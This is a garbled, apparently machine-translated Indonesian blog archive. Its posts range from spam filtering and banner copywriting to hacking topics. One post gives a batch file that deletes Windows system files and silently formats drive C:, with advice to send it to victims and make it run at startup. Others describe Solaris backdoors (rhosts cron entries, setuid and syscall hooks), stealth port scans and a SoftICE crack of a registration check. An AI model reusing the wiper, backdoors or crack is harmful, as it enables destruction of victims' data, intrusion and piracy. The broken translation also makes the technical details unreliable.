Namun, pesan email datang tidak hanya dari teman-teman dan kenalan, tetapi seperti hal jahat sebagai spam. Atau lebih tepatnya, segala macam penawaran, proposal untuk masuk ke dalam yang lain "piramida", kunjungi halaman, surat berantai, dll dll Pada prinsipnya, masalah besar dalam hal ini - baik, berpikir, baca ya untuk menghapus, tapi ... Sebenarnya, tidak cukup.
Pertama, jumlah spam yang masuk cenderung meningkat. Bila Anda menerima surat satu delusional minggu, dapat diperlakukan sebagai lelucon. Bila jumlah tiket untuk seratus surat per hari - itu adalah kesulitan murni teknis (spammer tidak benar-benar membatasi ukuran surat-suratnya, 100 surat kepada 50 KB adalah lima megabyte, atau setengah jam dari modem) dan stimulasi cukup kuat, dan sel-sel saraf Seperti kita ketahui, tidak dapat dikembalikan. Kedua, spam, sayangnya, cukup efektif dan berkat dia merangkak naik perusahaan dan orang-orang dengan reputasi yang meragukan dan layanan yang berkualitas. Ketiga, Internet dan banyak sampah, tetapi karena spam, itu hanya akan lebih - karena spam tidak hanya kotak surat, tetapi juga konferensi, papan pesan, mesin pencari ...
Apakah saya dapat menyingkirkan spam? Ya dan tidak. Tidak - karena itu benar-benar sakit merupakan berita gembira bagi mereka yang tidak peduli dengan prinsip moral. Kirim email beberapa juta cukup realistis, risiko - hampir semua (tunduk pada pencegahan dasar), dan bahkan jika menanggapi surat dari salah satu dari ribuan - efeknya akan sangat terlihat dan layak biaya. Berharap bahwa orang akan memiliki hati nurani - tidak layak.
Anda dapat mencoba untuk memastikan bahwa penulis spam tidak ingin menggunakannya. Katakanlah, hubungi nomor telepon dan mengatakan bahwa spammed - tidak baik, tetapi pada saat yang sama dan tidak ada yang membeli. Alas, juga jalan buntu - jika fenomena ini (tidak membeli) menjadi cukup besar, maka spam dengan cepat akan berubah menjadi instrumen menghilangkan pesaing (hal ini terjadi).
Hanya ada satu cara - untuk mengurangi efektivitas spam ke minimum, sebaiknya nol. Tetapi beberapa iritasi tidak bisa lolos ... Oleh karena itu kita harus mencoba untuk membuat spammer hanya menulis untuk kita untuk tidak datang. Tapi bagaimana?
Hampir semua tips untuk melawan spam dapat dikurangi untuk membuat rekomendasi dari kotak di layanan gratis, tetapi ketika datang kembali spam terlalu banyak, hanya menutup kotak dan memulai yang baru. Sayangnya, metode ini tidak selalu berlaku. Pertama-tama, dalam banyak kasus, kotak harus tetap sama - mengatakan, satu yang ada di kartu bisnis Anda atau perusahaan ... Kemudian - banyak layanan yang tidak lulus hanya pesan yang dikirim dengan layanan gratis - ukuran yang sama untuk memerangi spam. Oleh karena itu, kebutuhan untuk bersinar alamat nyata dan, oleh karena itu, cepat atau lambat akan menghantam database spammer. Akhirnya, tidak semua sangat pintar dari awal ... Banyak alamat sudah "dirusak." Apa itu, dan membaca semua omong kosong kedatangan?
Untuk mempelajari cara untuk melawan ISP spamming saya tidak akan menulis - menghakimi dengan jumlah tindakan spam masuk sangat tidak efektif. Meskipun, mungkin, jika mereka tidak, maka semuanya akan lebih buruk. Selain itu, bahwa bahkan di antara penyedia akan selalu mereka yang setuju menutup mata terhadap tindakan dari spammer (untuk uang, tentu saja) ... Oleh karena itu, penyelamatan tenggelam - hasil karya tenggelam.
Tentu saja, pasar telah program berurusan dengan mail filtering. Tapi yang paling fleksibel dan efektif dari mereka yang dirancang untuk digunakan pada server dan user biasa tidak akan membantu. Ada layanan yang dapat mengambil mail Anda dan menyaring mereka dari spam, menggunakan berbagai teknologi umumnya cukup efektif, tetapi layanan tersebut, sayangnya, dibayar. Selain itu, mereka harus membayar secara teratur.
Apa yang Anda lakukan user biasa, yang duduk di rumah dengan modem tidak memiliki tumpukan uang ekstra dan tidak ingin membaca surat dengan proposal kunjungi halaman lain piramida atau membeli keajaiban palu, yang tahu bagaimana palu kurva kuku? Mari kita coba untuk membuat program email kami untuk membantu kami ...
Selanjutnya, saya akan menulis berdasarkan mailer The Bat!, Yang menurut pendapat saya, saat ini salah satu yang paling nyaman untuk digunakan. Salah satu kekuatan nya - sebuah sistem yang dikembangkan filter.

Kita akan mulai dengan apa yang akan membuat folder "spam". Kami tidak akan spam segera dihapus, karena Filter konfigurasi akan hampir pasti akan yang menyaring beberapa pesan yang berguna, tapi akan memindahkan pesan disaring dalam folder ini. Dan dalam folder, properti resep bahwa surat-surat harus disimpan di dalamnya, katakanlah, 10 hari lalu - hapus.

Sekarang untuk filter sebenarnya. Buka kotak menu - Mengatur tukang sortir surat dan membuat filter baru bernama "Spam". Sebagai tindakan menunjukkan pergerakan surat di folder spam kami buat. Sekarang kita harus menentukan pesan apa yang ingin kita filter.

Hal pertama yang harus memotong spam yang paling jelas, yaitu, surat-surat tidak dikirim ke kita secara pribadi, sebagai tumpukan penerima. Untuk tujuan ini, garis sinyal bagian menunjukkan alamat kami, dan ketersediaan periksa diatur ke Tidak ada. Ie surat-surat yang tidak berisi alamat kami di bidang penerima akan disaring. Tapi ... Cobalah untuk menjalankan filter, kami menemukan bahwa daftar favorit kami, juga dihitung sebagai spam. Oleh karena itu, menambahkan alamat pengirim, yang kita ingin simpan. Hal ini juga dapat mencakup aturan lain yang menggambarkan huruf yang dibutuhkan dengan menempatkan di mana-mana, bahwa surat tersebut harus disaring, jika kita adalah tanda-tanda tertarik terdeteksi.

Dengan demikian, dari "bodoh" kita menyingkirkan spam sudah lebih mudah. Tapi spammer adalah orang-orang pintar dan media tidak sangat terbatas, sehingga mereka kirimkan kepada kami surat pribadi. Namun, Bat - pintar dan tahu bagaimana menggunakan beberapa aturan. Apakah ada tab pengaturan penyaring Alternatif, sekarang ada kita pergi ... Apalagi, jika garis dalam satu set aturan yang dikombinasikan dengan aturan "dan", filter alternatif bekerja sebagai "atau". Set pertama aturan yang dibuat oleh kami, Bat dibaca sebagai email "filter jika tidak berisi alamat kita sebagai penerima dan tidak dikirim ke layanan yang kami butuhkan surat.
Sekarang mari kita coba untuk memenangkan sisa spam. Ada sesuatu yang lebih sulit - untuk menulis beberapa jenis hak-hak universal, kita tidak akan berhasil, jadi saya harus bertindak secara individual. Untungnya, set aturan alternatif dapat dimulai sebanyak yang diperlukan. Hal utama - untuk menemukan bahwa tag, yang memungkinkan untuk membedakan spam dari surat berguna. Ini mungkin garis pengirim "kasino" dalam baris subjek, "Ini adalah satu kali mailing" dalam surat, dll Di sini pemetaan filter seharusnya tidak terkena kurangnya, seperti pada set pertama aturan, dan kehadiran on-line. Untuk setiap kelompok, kita mulai terpisah spam filter, dan alternatif ... menyaksikan dengan takjub sebagai sampah secara perlahan menghilang dari email kami.

Tentu saja, seperti skema - bukan obat mujarab. spammer baru akan menerobos filter kami, tapi tidak sering. Pada prinsipnya, semuanya direduksi menjadi hanya satu atau dua huruf seminggu, yang saya tulis di atas. Tentu, apa yang saya dijelaskan - itu merupakan pilihan termudah. Jika Anda tahu apa ekspresi reguler dan tahu bagaimana menggunakannya, maka filter dapat dibuat lebih aman, tapi bahkan pilihan ini akan cukup untuk membuat hidup Anda lebih mudah. Bata adalah keuntungan terbesar adalah bahwa ia mampu memeriksa tidak hanya header pesan, tetapi mereka isinya, sehingga dapat menyaring dan nomor telepon spammer dan alamat website-nya dan nama perusahaan ...
Dan untuk terutama mengganggu - adalah di Bata dan kemampuan untuk menghapus pesan pada server tanpa men-download. Tapi dengan fungsi ini diperlakukan sangat hati-hati - tidak benar-kode filter dapat membunuh dan surat membantu. Dan Anda sudah tidak mengenali ... Tepatnya untuk menghindari kerugian tersebut kita telah membuat folder khusus untuk spam, ingat?
Nah, sekarang, hanya ditulis untuk mencakup filter dan seminggu sekali mengintip lewat folder spam untuk membuat sesuatu yang benar yakin itu tidak punya. Ya, kedatangan para pedagang gunung berikutnya reklamki-jangan lupa untuk menambahkannya ke daftar filter ...

menembus ke dalam sistem lain

2011-03-28T11:27:00.000+07:00

Dead komputer - komputer yang dilindungi "!

Pendahuluan Mm.
dan membuatnya hak istimewa root itu setengah pertempuran. Seperti dalam
game terkenal "Raja gunung, memenangkan perlu terus. Untuk tujuan ini, sistem yang dibuat
perubahan kecil, kiri program. Ini adalah backdoors. Untuk menemukan mereka di
saya sistem (Dan bagaimana jika mereka sudah ada di sana ;-),? Anda harus memahami bagaimana mereka
penciptaan. Dalam dokumen ini saya tidak berpura-pura menggambarkan semua backdoors mungkin. Anda
dapat menawarkan cara untuk melengkapi koleksi anda. Semua nama mengacu pada OS
Solaris. Dalam sistem * NIX lainnya, mereka serupa.
Klasifikasi.
Backdoors, memberikan hak istimewa.
Mengubah atribut file.

suid-bit (04.000). Ketika Anda mulai memiliki bit s dari sistem menghasilkan proses dengan
uid uid efektif dari pemilik program. Jadi, salinan shell, berbaring di
direktori remote dan memiliki sedikit-lengket, memberikan hukum instan dari file host
seperti sebagai root.

Atribut adalah perangkat khusus.

/ Dev / mem menunjuk ke driver untuk mengakses memori. Pernyataan itu atribut, 0666
memungkinkan pengguna untuk menulis secara langsung ke memori. Seorang penyerang dapat menemukan proc_t
struktur proses dan mengubah uid efektif. {Kmem_thief}

Mengubah file sistem.

/ Var / spool / cron / crontab / Cron menciptakan memerintahkan proses dalam waktu yang ditetapkan.
Seorang penyerang bisa menambahkan baris yang diciptakan, misalnya, file rhosts di tengah malam. dan
menghancurkan itu di pagi hari untuk mengajukan root tugas.

/ Var / spool / cron / crontab / root:
0 22 * * 6 "echo '+ +'> /. Rhosts"
0 6 * * 1 "rm-rf /. Rhosts"

/ Etc / passwd, / etc / shadow - informasi file ini menyimpan sekitar akun. Pencuri
bisa dobavt mereka catatan mereka atau mengubah atribut file-file untuk dimasukkan ke dalam
sewenang-wenang saat informasi yang ada.

/ Var / SADM / install / isi - file ini berisi informasi tentang Terpasang di
sistem file, ukuran mereka, atribut, dan checksum. File ini bisa diubah
untuk menyembunyikan program modifikasi.

Substitusi program, perpustakaan modifikasi.

Program dengan sedikit-lengket atau yang biasa dilakukan oleh administrator sistem dapat
dimodifikasi untuk melakukan perubahan pada sistem ketika administrator. Misalnya:
....
if (geteuid ()!)
chmod ("/ var / tmp / hidden_shell.", 0x4555);
....

Sepotong serupa dapat disisipkan ke dalam sebuah perpustakaan tunggal, seperti libc. Perpustakaan
libc.a dipecah menjadi file objek. Diperlukan fungsi dimodifikasi dan
menyusun DLL baru.

Menambahkan modul untuk kernel.

Seorang penyerang dapat menambahkan modul ke dalam kernel dan mencegat salah satu sistem
panggilan, mengatakan, SYS_setuid.
SYS_setuid Solaris 2.6
....
proc_t p;
user_t ut;
int my_setuid (e_uid_initial uid)
{
int rval;

p = ttoproc (curthread);
mutex_enter (& p_lock p->);
atas = prumap (p);
rval = bcmp (u_comm up->, "setan", 5);
(Void) prunmap (p);
mutex_exit (& p_lock p->);
if (rval) {
rval = setuid (uid);
} Else {
...
}
return 0;
}
....

Sekarang cukup untuk mengubah nama programnya dan panggilan * setan setuid untuk
uid = 0.

Khususnya meninggalkan program.

Sistem ini dapat file octavleny seperti kerupuk passwd, mengeksploitasi untuk suid
program, dll Pada sistem non ditambal dengan exploitov dapat diperoleh akar
hak istimewa pada biaya eksekusi kode di tumpukan program dengan lengket-bit.

Backdoors, memberikan akses ke sistem.

Pengenalan hubungan terpercaya

~ User /. Rhosts, / etc / host.equiv, ~ user / shosts (selama SSH). Semua file
menciptakan hubungan yang dipercaya dalam jaringan. Mereka menyebutnya setan in.rlogind, in.rshd,
sshd, dll File-file yang ditentukan sepasang komputer user yang bisa login
skema autenfikatsii melewati sistem. Pasangan '+ +' memungkinkan setiap pengguna dengan
setiap komputer tanpa password. Kehadiran file / rhosts. {+ +} Memberikan kesempatan
login sebagai root atau smtp (uid = 0, gid = 0). Pembatasan pada login user
hanya root dari konsol tidak mencegah pengguna smtp login terpencil,
/ Usr / bin /. Rhosts memberikan masukan untuk 'bin' pengguna

~ User /. Maju File ini berisi informasi untuk meneruskan mail. Hal ini dapat
terlihat seperti ini:
\ Pengguna
| "/ Usr / openwin / bin / xterm-display another.host.net: 0

Penambahan atau modifikasi dari setan.

Sistem daemon biasanya dimulai pada saat startup sistem dari / etc / rc. D? / file atau
menggunakan inetd meta-daemon. File-file ini dapat ditambahkan untuk memulai setan nya. Untuk
kesulitan mendeteksi koneksi yang tidak sah dengan mendengarkan di jaringan, atau penipuan
firewalla asing untuk program dapat menggunakan UDP, atau paket ICMP.

Backdoors, aktivitas sistem mask tersebut.

Substitusi program.

Penggantian versi program ditambal digunakan untuk menyamarkan pekerjaan mereka di
sistem, misalnya, mulai password lomalki. Program bervariasi sehingga tidak akan
menunjukkan aktivitas pengguna tertentu, menjalankan proses mereka,
penggunaan disk space. Yang paling terkenal dari paket perangkat lunak untuk
penggantian utilitas sistem rootkit. {Rootkit SunOS, Rootkit Linux}

Pengenalan modul ke dalam kernel.

Modul dapat mencegat panggilan sistem untuk mengakses file, informasi tentang
sistem dan sengaja mendistorsi informasi. Misalnya, ketika membuka file
"/ Dll / inetd.conf" akan membuka cadangan dari file ini di tersembunyi
sistem. Jadi menyembunyikan perubahan file sistem. SYS_open:
SYS_open Solaris 2.6
...
char statis new_path = "/ var / tmp / mengunci / idx / inetd.conf..";
int my_open (* FNAME char, int fmode, cmode int)
{
int rval;

rval = bcmp (FNAME, "/ etc / inetd.conf", 16);
if (rval) {
kembali (copen (FNAME, (int) (fmode-fopen), cmode));
} Else {
kembali (copen (new_path, (int) (fmode-fopen), cmode));
}
}
...

Penentuan backdoors.

backdoor Yah-tersembunyi agak sulit untuk menemukan. Cari pertanyaan dan backdoors menciptakan
mengingatkan tentang "sengketa baju besi dan kerang."

Memeriksa file.

solusi yang wajar adalah dengan membuat daftar nazavisimy file sistem dengan atribut mereka
dan checksum. Daftar ini dibuat setelah instalasi sistem baru dan
menyesuaikan itu dengan Aset (SUNWast) atau 'fix-mode' oleh Casper Dik. Memeriksa
file dalam sistem dapat dilakukan oleh cron job atau proses yang berkelanjutan yang rendah
prioritas. checksum ini dihitung / bin / jumlah bukanlah jaminan dapat diandalkan
keamanan, karena mudah cocok. Anda dapat porekomedovat untuk tujuan MD5 ini.
Ada sejumlah produk dari perusahaan yang berbeda, memungkinkan Anda untuk melihat sistem
"Aneh" tanggal file, atribut.

Kontrol atas koneksi jaringan.

Pelajari tentang akses tidak sah ke sistem mungkin mengendalikan lalu lintas jaringan dan skanniruya
host untuk port terbuka. Ada banyak scanner serta
sistem pemantauan lalu lintas jaringan. Solusi terbaik adalah selalu ;-) firewall.

Mempertahankan sistem secara wajar.

System dengan semua patch terpasang, layanan yang tidak terpakai menonaktifkan
signifikan lebih rentan terhadap patah tulang, dengan keyakinan ;-) cukup terbatas

Menyembunyikan IP

2011-03-28T11:22:00.003+07:00

1) Pertama, yuzaem proxy untuk Internet Explorer Anda. Mencari sendiri proxy cocok untuk www.proxychecker.ru. Sebagai contoh, kami menemukan 195.141.45.2:1080, maka jaksa kami pada alamat IP 195.141.45.2 pada 1080 beratnya di pelabuhan. Ayo di Tools> Options ... dan pergi ke tab Connection, ada di "Configure Remote Access" pilih koneksi Anda dan Customize panen. Beri tanda tik Gunakan proxy server dalam menulis alamat proxy anda, dalam hal ini, 195.141.45.2, dan di 1080 pelabuhan. Semuanya. Proxy set up, sekarang Anda panen OK. Sekarang IP Anda tidak terlihat oleh HTTP 2) Sekarang belajar cara mengirim surat kaleng. Saya, seperti banyak situs lainnya yang memiliki layanan tersebut, seperti mengirim surat kaleng (surat anonim). Jadi, di sana Anda dapat menentukan kotak surat asing untuk mengirim, misalnya, support@narod.ru dan yang paling penting, Anda IP sebenarnya tidak akan terlihat. Dengan nick akan menerima surat dari support@narod.ru dan tidak dengan IP Anda yang sesungguhnya. 3) Sekarang menyembunyikan IP di ace itu. Ini tidak begitu sulit. Kita masuk (untuk ASI misalnya Rusia) Home> Perlindungan & Keamanan koneksi> langsung, dan ada beri tanda check pada "Izinkan koneksi langsung kepada setiap pengguna pada solusi Anda dan klik OK. Sekarang, setelah rekoneksi alamat IP anda akan terlihat sebagai 0.0.0.0 4) Sembunyikan IP di IRC. Untuk menyembunyikan IP mereka, bukan proxy juzat, jadi mulailah dengan proxy. Ayo di mIRC (menunjukkan contoh dari versi Rusia 6.3). Ada memilih untuk Sambungan> Proxy. Dalam Proxy untuk, pilih Kedua. Di bawah Protokol, Socks4 pilih. Dalam server menulis 193.147.197.219, atau proxy lain yang dapat Anda temukan. Dan di port dimasukkan 1080. Semuanya. Proca set up, dan sekarang tidak ada yang nyata IP Anda tahu.

PENGHAPUS (Steralka)

2011-03-28T11:20:00.000+07:00

Jadi, apa yang bisa membuat file-file ini kelelawar kecil dan bagaimana melakukannya. Bagi mereka yang setidaknya memiliki jumlah sedikit tim perwakilan DOSovskih akan menjadi lebih mudah. Aku melakukan bagian yang akan mencoba untuk menjelaskan setiap baris.
Mari kita mulai.
Untuk menulis, kita memerlukan notebook biasa.
1. menulis nama notebook apapun (install.bat), hal utama yang Anda menempatkan ekstensi *. bat.
2. launching pad.
3. Sekarang pishim Batik perintah yang akan tampil di sebuah Campo asing, ingat semua perintah yang dia lakukan secara konsisten.
Memukul-mukul jendela Kampe korban:
Cd \-perintah untuk mengakses direktori root tempat di mana dia menjalankan file bat
Cd C:-lompat ke drive C dimana hampir biaya kampanye semua jendela
windows Cd-masuk ke folder Windows (Lamer 95% dan folder pengguna disebut demikian)
file Big kelelawar minus dan bahkan DOS pada khususnya adalah sesuatu yang tidak dapat dihapus setelah folder dengan file, tetapi harus pergi ke setiap folder individu, dan menghapus file di sana.!
del *. exe-Uday semua file dengan. exe
del *. ini-Uday semua file dengan ekstensi. Suami
del *. com-Uday semua file berakhir masuk com
cd \
cd windows
cd sistem
del *. dll
del *. exe
Setelah baris-baris sederhana dari pengguna atau Lamer akan menjadi sekitar 30 menit bekerja!)
Code secara penuh:

Cd \
Cd C:
Cd windows
del *. exe
del *. ini
del *. com
cd \
cd windows
cd sistem
del *. dll
del *. exe

Tapi tiba-tiba folder windows tidak disebut jendela dan winMe tersebut, atau Win98, jadi tidak ada masalah, hanya perlu untuk kemudian menulis kode di bawah lain hanya untuk folder bernama winMe dan sebagainya.

Cd \
Cd C:
Cd winMe
Del *. exe
Del *. ini
Del *. com
Cd \
Cd win98
Cd sistem
Del *. dll
Del *. exe

dan seterusnya! Bagaimana Anda tahu sehingga Anda bisa apa-apa bang di sekrup orang lain! Hanya ingat, apa yang bisa saya lakukan jika mesin korban adalah Windows 9X!
Saya suka pin Facebook Lamer, format drive C: \
Format drive C: \
Cd \-perintah untuk mengakses direktori root tempat di mana dia menjalankan file bat
Format C: \-tim format drive
C: \ Y-tim persetujuan otomatis untuk memformat hard disk tanpa sepengetahuan atau persetujuan Lamer tim
Y-sama
Y-disebutkan
Heh! Itu semua ...
Code secara penuh:

Cd \
Format C: \
Y
Y
Y

Satu-satunya negatif! Kode ini tidak dapat bekerja jika Kampe adalah Windows ME atau XP! Harus menulis dengan cara lain. Dalam format perintah panel bukan hanya folder, Windows, dan jalur berikut
C: \ WINDOWS \ COMMAND \ format c:
tapi sangat Saboya diformat tidak akan, dan akan memerlukan konfirmasi dan perintah sederhana
Y
Y
Y
tidak membantu, nuzhena lain. Cukup tambahkan parameter / autotest

C: \ WINDOWS \ COMMAND \ format c: / autotest

Dalam hal ini, tidak akan harus konfirmasi.

Bagaimana dan di mana untuk mendaftar?
Hanya kirim baht gagal setiap hari juzverej pada ICQ atau sabun.
Ketika membuka sebuah file, proses nachnetsa.
Jadi Saya tidak menyarankan membuka gagal dalam komputer mereka.

Jika Anda telah naik ke komputer remote Anda juga bisa jahat lelucon.
Tetapi bagaimana kita file untuk memulai secara otomatis?
Laziv komponen pengorbanan Anda merasa seperti itu formatnut sekrup, baik, Anda tidak pernah tahu, tiba-tiba dia seperti Nazi atau pedofilia! Tentu saja Anda tidak akan dapat menjalankan file dari komputer pada kompetensi korban. Namun demikian ada beberapa pilihan. Yang pertama adalah untuk men-download file ke startup di jalan
C: \ windows (atau apa pun itu akan menjadi folder bernama) \ Start Menu \ Programs \ Startup atau mengubah nama batik Anda dalam Autoexec.bat dan sampai ke akar C: \
GOOD LUCK:) ...

Port Scanning

2011-03-28T11:09:00.000+07:00

Kadang-kadang Anda mungkin perlu mencari tahu apa yang menawarkan layanan host tertentu. Untuk melakukan hal ini, ada sejumlah program yang berbeda untuk memindai port.
Opsi yang paling sederhana - ini adalah program seperti SETAN (Analisis Keamanan Tool untuk Pemeriksaan Networks), yang terhubung ke setiap port-TCP, membuka koneksi TCP penuh. Kelebihan dari metode ini adalah bahwa pengguna terlibat dalam pemindaian, tidak perlu sangat ip-paket, yang akan digunakan untuk memindai, karena menggunakan system call standar, dan ia tidak membutuhkan akses administrator (biasanya perlu menggunakan SOCK_RAW atau membuka / dev / bpf, / dev / nit, dll). Kerugian dari metode ini adalah bahwa lebih mudah untuk mendeteksi, dengan sejumlah cara, di Wrapper'ami TCP khususnya dengan Wietse Venema. Untuk mengatasi kekurangan ini diciptakan pemindaian teknik tanpa mendirikan TCP koneksi penuh, apa yang disebut Setengah terbuka scanning '. "
Proses instalasi TCP-connection terdiri dari tiga tahap: pihak membuat koneksi, pertama mengirimkan TCP-paket dengan flag SYN, maka pihak penerima mengirimkan TCP-paket dengan flag SYN dan ACK bila port terbuka, atau me-reset koneksi dengan RST bendera jika port tidak aktif. Tahap ketiga terjadi ketika pesta membentuk sambungan, mengirim TCP akhir-paket dengan flag ACK (dengan sendirinya, semua paket ini memiliki urutan yang sesuai dan ack-kamar, dll). Sekarang sambungan dibuat.
Scan dengan SYN-flag.
~~~~~~~~~~~~~~~~~~~~~~~~~~~
SYN-scanner hanya mengirim paket pertama dari tiga dan sedang menunggu SYN | ACK, atau RST. Ketika ia mendapat baik-atau dia akan tahu port yang aktif atau tidak. Keuntungan utama dari metode ini adalah bahwa hal itu tidak dapat dideteksi oleh program-program seperti "SETAN" atau TCP Wrapper oleh Wietse Venema. Kelemahan utama metode ini:
Teknik ini terdeteksi oleh beberapa program yang mencoba memeriksa konnekta dengan SYN-flag (tcplog misalnya), dan ia menemukan netstat (1) 'th.
Partai membuat koneksi, biasanya harus semua paket-IP. Anda harus memiliki akses ke SOCK_RAW (dalam sistem operasi paling: getprotbyname ('mentah')) atau / dev / bpf (Berkeley Packet Filter), / dev / nit (Sun 'Network Interface Tekan'), dll Untuk melakukan ini, biasanya memiliki tingkat administrator.
Stealth-scan.
~~~~~~~~~~~~~~~~~~~~~~
Metode ini didasarkan pada kode jaringan yang tidak benar di BSD. Mengingat bahwa sebagian besar sistem operasi menggunakan kode jaringan BSD'shny atau berasal dari itu, metode ini bekerja pada kebanyakan sistem (kecuali yang paling jelas - Cisco marshrutirizatory). Metode ini sulit untuk dideteksi. Bahkan mengetahui metode itu sendiri, pengembangan mendeteksi algoritma sangat bermasalah tanpa menghilangkan kesalahan yang paling. Kekurangan metode ini: Metode ini didasarkan pada kesalahan dalam kode jaringan. Ini berarti bahwa hal itu mungkin, atau lebih tepatnya lebih mungkin, kesalahan ini akan diperbaiki. Misalnya OpenBSD sudah tetap. Tidak dapat menjamin bahwa metode ini akan bekerja dengan baik dalam situasi tertentu. Hasil mungkin bervariasi, tergantung pada platform dan sistem operasi, yaitu Metode ini tidak sepenuhnya dapat diandalkan.
TCP menggunakan paket dengan ACK dan FIN flagami.Ih harus digunakan, karena jika paket seperti ini untuk mengirim ke port saat sambungan belum dibuka, selalu kembali paket dengan RST bendera. Ada beberapa metode yang menggunakan prinsip ini:
Metode # 1:
Kirim FIN-pack. Jika host menerima kembali RST, port tidak aktif ketika RST tidak dikembalikan, port ini aktif. Mengingat fakta bahwa metode ini bekerja pada host begitu banyak, itu - sebuah kesaksian sedih untuk apa kode jaringan tidak valid di sebagian besar sistem operasi.
Metode # 2
Kirim ACK-paket. Jika paket TTL kembali kurang dari dalam sisanya menerima RST-paket, atau jika ukuran window lebih besar dari nol, maka kemungkinan besar port ini aktif.

Rahasia dari teks banner

2011-03-28T11:05:00.001+07:00

Rahasia dari teks banner

Sergei Khripunov
Pada pandangan pertama, untuk menulis teks untuk banner ini cukup mudah - mengambil informasi di situs ini, ditambah undangan untuk dikunjungi. Dan menurut pendapat saya, itu sebabnya spanduk ini, RKT agak rendah. Tapi tidak begitu dangkal untuk mengobati Web-desain pada umumnya, dan iklan pada khususnya. Seringkali, biro iklan disarankan untuk mencoba beberapa pilihan untuk spanduk untuk menemukan RKPT maksimum. Pendekatan, pada umumnya, benar, tetapi menyakitkan mengingatkan pencarian acak (Namun, jika energi dan uang yang cukup, jalan ini juga baik).
Tetapi harus ada penjelasan logis mengapa sebuah spanduk dengan teks untuk klik, tetapi di sisi lain - tidak ada. Dan pandangannya, saya akan mencoba untuk membenarkan.
Saat ini, Internet berisi sejumlah besar situs (tidak kau katakan itu). Paling sering, pengguna sudah memiliki halaman mereka sendiri pada subyek yang berbeda dan mengubah mereka tidak benar-benar ingin. Kadang-kadang odnolyubstvo ini muncul dari rendahnya kualitas situs lain - aduk di sana-sini, pembaca akan kembali ke preferensi mereka. Dan satu keadaan tersebut diambil sebagai fakta.
Ini mengikuti dari kesimpulan yang menarik: Anda berada di banner iklan Anda seharusnya tidak hanya memberikan informasi dan mengundang pengunjung (yaitu untuk menggunakan strategi pasif). Anda harus meyakinkan orang untuk mengunjungi situs Anda. Keyakinan bukan undangan. Di sisi lain ada tekanan terlihat juga tidak seharusnya.
Menonton iklan pada jaringan kadang-kadang bisa terkejut betapa banyak banner bekerja "menganggur" hanya karena pengiklan mengambil posisi pasif. Pengeluaran dana untuk produksi iklan dan membeli tempat di situs besar pemasang iklan tersebut terjebak dalam "jaringan" mereka hanya mereka yang sedang mencari sebuah situs dengan tema yang sama. Tapi izinkan saya, di search engine apa? Well, oke, jika mereka memiliki cukup uang, biarkan mereka melakukan apa yang mereka inginkan.
Kita juga harus menarik bagi Anda: bagaimana membuat spanduk dengan teks, RKT tinggi, dan yang paling penting berbasis ilmu pengetahuan? Mengapa terakhir? Ya, sehingga Anda tidak sengaja tertangkap jarinya di langit, dan bisa, sehingga untuk berbicara, mengulang percobaan tanpa batas.
Jadi kami menemukan bahwa pengunjung perlu diyakinkan. Selanjutnya, saya akan memberikan yang paling sederhana (dan mudah diatur) teori teori persuasi diambil dari yang populer sampai saat ini, psikologi praktis, di NLP tertentu. Frase pada podbirayutcya banner Anda dalam bentuk pertanyaan yang harus dijawab "ya" (misalnya, "Anda ingin bahagia?"). Tidak sulit, namun tidak mudah.
Jika Anda menggunakan metode persuasi, cobalah untuk menolak setiap pertanyaan Anda tidak (yaitu pertanyaan "Apakah Anda ....?" tidak akan membawa hasil yang diharapkan). Terpilih isu tersebut harus tiga. Selanjutnya, hampir pertanyaan, pengunjung akan menjawab di afirmatif. Kenapa ya? Teori yang tepat untuk pertanyaan ini, tapi saya pikir mungkin mengganggu hati nurani untuk memeriksa hal-hal yang jelas, dan ada inersia, jadi penting bagi kita, reaksi.

Sebuah contoh sederhana program hacking melalui SoftICE

2011-03-28T10:56:00.000+07:00

Penulis artikel ADoGind
Halo teman saya, mari kita amati sebuah program menggunakan SoftICE. Jadi, program pertama disebut pool.exe.
1. Jalankan program. Kami melihat terbang keluar jendela Order Informasi.
2. Tekan Masukkan Kode Pendaftaran ...
3. Sebuah jendela akan muncul Registr bukan untuk masukkan kode tersebut, kami memperkenalkan kode.
Saya pribadi untuk kenyamanan masukkan pada awal kode seperti 332211
4. Mengupload SoftICE tekan Ctrl + d.
5. Buatlah sebuah pencarian dari memori dengan menggunakan fungsi pencarian.
S 0 L FFFFFFFF 'dimasukkan kita kode registrasi' Masukkan
Jika setelah mencari data dalam jendela data muncul kode pendaftaran kami, tetapi pada akhirnya tidak ada kode 'berarti kode ditemukan benar, maka anda dapat melanjutkan ke langkah berikutnya.
6. Gunakan fungsi perkawinan memeri baru Point BMP dan paste URL di mana kode tersebut
Pada jendela bawah akan menampilkan:
Pottern ditemukan di 0030:80 C005B2 (80C005B2)
80C005B2 BPM masukkan
7. Penutupan SoftICE tombol Ctrl + d atau F5.
8. Mouse nadovit ok. Harus berangkat SowtIce kecuali dia terbang kembali dan memeriksa pengaturan BMP.
9. Masukkan sebuah tim BC *
10. Nashmine F12 10 kali
Anda harus mendapatkan kode ini di sini:

CALL 00427859
PUSH 00442378
LEA ECX [ESP +10]
CALL 004288E4
MOV ESI, [ESP +0 C]
MOV EAX [EDI +0 C]
MOV DVORD PTR [ESP +18], 00000000
MOV DL, [EAX]
MOV BL, [ESI]
MOV CL, DL
CMP DL, BL
JNZ 004A1A57
TEST CL, CL
JZ 00411A53
MOV DL, [EAX +01]
MOV BL, [ESI +01]
MOV CL, DL
CMP DL, BL
JNZ 004A1A57
ADD EAX, 02
ADD ESI, 02
TEST CL, CL
JZ 00411A2F
... ... ... ... ... ... ... ... ... ....
CALL 0042F1A8

Harus masuk dalam kotak kode untuk melakukan hal ini, ketik Alt + C kunci dan kursor muncul di kotak kode. Agar tidak masuk ke sub kursor ditempatkan setelah CALL dan klik tombol F7.
Untuk melaksanakan langkah demi langkah klik tombol F8
Memiliki program dan menerima pesan yang menunjukkan apa yang Anda menampilkan pesan 0042F1A8 CALL. Anda perlu mencari tahu siapa yang lolos kontrol ke subrutin ini.
Untuk melakukan hal ini, membuat jalan lagi sampai Anda sekali lagi dari kode yang dijelaskan di atas, kita mencapai tim MOV ESI, [ESP +0 C].
Tetapi pada teman saya, ada 2 cara untuk memecahkan masalah, saya tercengang untuk Wallpaper
1. Sangat sederhana:
Reach tim JNZ 004A1A57 Anda memimpin transisi ke fakta bahwa ada transisi tidak harus pergi ke luar jendela register tombol Alt + R
Dan memperbaiki bendera Z adalah kunci Masukkan sementara transisi tidak akan terjadi. Dalam kasus kedua untuk melakukan hal yang sama. Dan perubahan JZ bendera 00411A2F nanti.
dan kita tekan tombol F4
Program terdaftar
